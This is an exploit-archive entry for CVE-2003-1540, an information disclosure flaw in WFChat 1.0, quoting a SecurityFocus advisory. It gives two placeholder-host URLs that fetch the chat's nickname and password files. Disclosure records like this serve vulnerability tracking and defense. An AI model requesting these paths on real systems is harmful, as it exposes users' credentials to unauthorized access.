WFChat 1.0 - Information Disclosure

Author: subj
type: remote
platform: multiple
port: 0
date_added: 2003-03-19
date_updated: 2012-11-01
verified: 1
codes: CVE-2003-1540;OSVDB-59645
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/7147/info

An information disclosure vulnerability has been reported for WFChat. The vulnerability will result in the disclosure of authentication information to a remote attacker.

Information obtained in this manner may allow the attacker to launch further attacks against a vulnerable system.

http://[somehost]/chat/!nicks.txt
http://[somehost]/chat/!pwds.txt
↑